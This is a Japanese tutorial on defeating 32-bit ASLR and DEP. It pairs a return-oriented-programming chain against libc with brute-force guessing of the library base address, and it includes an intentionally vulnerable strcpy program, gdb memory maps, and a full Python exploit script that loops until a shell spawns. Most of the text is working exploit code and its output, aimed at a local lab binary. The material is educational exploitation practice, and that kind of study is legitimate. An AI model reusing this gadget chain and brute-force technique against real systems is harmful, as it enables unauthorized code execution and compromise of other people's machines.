ROPとブルートフォースで32bit ASLR+DEPを回避してみる

ROPを使ってDEPを回避するには共有ライブラリのベースアドレスを知る必要がある。 しかしASLRが有効な場合においても、32bitであればブルートフォースで回避できることが知られている。 ここでは、ROPとブルートフォースを組み合わせることで32bit ASLR+DEPを回避してシェル起動を行ってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。

/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

SSPのみを無効にし、ASLR、DEPを有効にした状態でコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
$ gcc -fno-stack-protector bof.c

objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000068c memsz 0x0000068c flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x0000058c vaddr 0x0804858c paddr 0x0804858c align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。

$ ldd a.out
        linux-gate.so.1 =>  (0xb76fb000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7549000)
        /lib/ld-linux.so.2 (0xb76fc000)

共有ライブラリのベースアドレスを調べてみる

gdbを使って、libcがロードされているアドレスがどのように変化しているかを調べてみる。 gdbはデフォルトでASLRを無効にして実行するので、set disable-randomization offでASLRを有効にした上で繰り返し実行し、ベースアドレスを表示させる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x8048449
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048449 in main ()
(gdb) i proc map
process 2695
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/a.out
        0xb7556000 0xb7557000     0x1000        0x0
        0xb7557000 0xb76fb000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb76fb000 0xb76fd000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb76fd000 0xb76fe000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb76fe000 0xb7701000     0x3000        0x0
        0xb7707000 0xb7709000     0x2000        0x0
        0xb7709000 0xb770a000     0x1000        0x0 [vdso]
        0xb770a000 0xb772a000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb772a000 0xb772b000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb772b000 0xb772c000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbfddd000 0xbfdfe000    0x21000        0x0 [stack]
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0x8048449
Starting program: /home/user/tmp/a.out

Temporary breakpoint 2, 0x08048449 in main ()
(gdb) i proc map
process 2698
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/a.out
        0xb7625000 0xb7626000     0x1000        0x0
        0xb7626000 0xb77ca000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb77ca000 0xb77cc000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb77cc000 0xb77cd000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb77cd000 0xb77d0000     0x3000        0x0
        0xb77d6000 0xb77d8000     0x2000        0x0
        0xb77d8000 0xb77d9000     0x1000        0x0 [vdso]
        0xb77d9000 0xb77f9000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb77f9000 0xb77fa000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb77fa000 0xb77fb000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbfc82000 0xbfca3000    0x21000        0x0 [stack]
(gdb) quit
A debugging session is active.

        Inferior 1 [process 2698] will be killed.

Quit anyway? (y or n) y

何度も実行すると、libcは0xb7X??000(Xは5または6)の範囲で変化していることがわかる。 つまり、適当にアドレスを決め打ちして0x200 (=512) 回程度実行すれば、アドレスが一致する可能性がある。

エクスプロイトコードを書いてみる

前のエントリで書いたROPを実行するコードをもとに、アドレスを0xb75cc000に決め打ちして繰り返し実行するエクスプロイトコードを書いてみる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
data_addr = int(sys.argv[2], 16)

libc_base = 0xb75cc000

"""
   f3ad0:       pop    ecx;     pop    eax
   7419a:       mov    DWORD PTR [ecx],eax
    1a9e:       pop    edx
   32eb0:       xor    eax,eax
   2dfb2:       mov    DWORD PTR [edx+0x18],eax
   1930e:       pop    ebx
   83d35:       xor    edx,edx;         mov    eax,edx
   8ac7e:       lea    eax,[edx+0xb]

$ objdump -d libc.so.6 | grep "int " | head
   2e285:       cd 80                   int    0x80
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3

buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 0)
buf += '/bin'
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 4)
buf += '//sh'
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0x1a9e)     # pop edx
buf += struct.pack('<I', data_addr + 8 - 18)
buf += struct.pack('<I', libc_base + 0x32eb0)    # xor eax, eax
buf += struct.pack('<I', libc_base + 0x2dfb2)    # mov [edx+18], eax

buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 12)
buf += struct.pack('<I', data_addr + 0)
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0x1a9e)     # pop edx
buf += struct.pack('<I', data_addr + 16 - 18)
buf += struct.pack('<I', libc_base + 0x32eb0)    # xor eax, eax
buf += struct.pack('<I', libc_base + 0x2dfb2)    # mov [edx+18], eax

buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 12)
buf += 'AAAA'

buf += struct.pack('<I', libc_base + 0x1930e)    # pop ebx
buf += struct.pack('<I', data_addr + 0)

buf += struct.pack('<I', libc_base + 0x83d35)    # xor edx, edx; mov eax, edx
buf += struct.pack('<I', libc_base + 0x8ac7e)    # lea eax, [edx+0xb]

buf += struct.pack('<I', libc_base + 0x2e285)    # int 0x80

with open('buf', 'wb') as f:
    f.write(buf)

i = 0
while True:
    print i
    p = Popen(['./a.out', buf])
    p.wait()
    i += 1

このコードはバッファサイズと書き込みに利用するアドレスを順に引数に取る。 書き込みにはデータセグメントのアドレスを利用することとし、次のコマンドでアドレスを調べる。

$ objdump -x a.out
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 23 .data         00000008  0804a014  0804a014  00001014  2**2
                  CONTENTS, ALLOC, LOAD, DATA

パラメータをセットし実行してみる。

$ python exploit.py 300 0x0804a014
0
buf = 0xbfcae1c4
(snip)
1
buf = 0xbf8cf844
(snip)
...
274
buf = 0xbffd74b4
(snip)
$

この場合は274回目で成功し、シェルが立ち上がることが確認できた。